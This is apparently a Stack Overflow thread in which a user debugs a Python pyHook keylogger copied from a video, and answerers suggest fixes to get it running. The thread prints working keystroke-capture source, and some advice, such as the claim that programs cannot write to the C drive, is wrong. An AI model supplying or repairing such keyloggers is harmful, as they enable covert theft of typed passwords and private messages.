No attribute 'HookManager'

Question

I am copying the key logger from this video: (https://www.youtube.com/watch?v=8BiOPBsXh0g) and running the code:

    import pyHook, sys, logging, pythoncom

    file_log = 'C:\Users\User\Google Drive\Python'

    def OnKeyboardEvent(event):
        logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.Pumpmessages()

This returns the error:

    Traceback (most recent call last):
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in  <module>
        import pyHook, sys, logging, pythoncom
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
        hooks_manager = pyHook.HookManager()
    AttributeError: 'module' object has no attribute 'HookManager'

I am running Python 2.7.11 and a windows computer. I don't know what the problem is; please help. Thank you

score 1 · Answer 1 · answered May 08 '18 at 18:44

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I found the solution. If you open HookManager.py and change all 'key_hook' words to 'keyboard_hook' no more error occurs

answered May 08 '18 at 18:44

Raqun Bob

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how come this solution is so different from the accepted answer? – Alexander May 08 '18 at 19:11
different solution. – Raqun Bob Apr 09 '20 at 02:58

score 0 · Accepted Answer · answered Oct 02 '16 at 05:45

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I'm still unsure what the issue is but I found a solution. If you move the program you are trying to run into the same folder as the HookManager.py file then it works.

For me this file was: C:\Python27\Lib\site-packages\pyHook

answered Oct 02 '16 at 05:45

Crelic

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Mritunjay Kumar jay kr · Answer 3 · 2017-03-12T12:24:34.637

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Bro this line is wrong

file_log = 'C:\Users\User\Google Drive\Python'

As the system doesn't allow your program to write to the 'C' drive, you should use another path, like 'D' drive or 'E' drive or etc. as given below.

file_log = 'D:\keyloggerOutput.txt'

edited Mar 12 '17 at 12:24

answered Mar 12 '17 at 10:52

Mritunjay Kumar jay kr

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Thanks for the help but this didn't seem to resolve the issue, I do now have a working version of the program however. Thanks for taking the time to answer my question – Crelic Mar 13 '17 at 11:54
bro i have tested this program and it's working fine. – Mritunjay Kumar jay kr Mar 16 '17 at 15:09

score 0 · Answer 4 · answered Nov 07 '19 at 07:52

I had same message error after having installed pyWinhook-1.6.1 on Python 3.7 with the zip file pyWinhook-1.6.1.zip. In application file, I replaced the import statement:" import pyWinhook as pyHook" with "from pywinhook import *". The problem was then solved.

No attribute 'HookManager'

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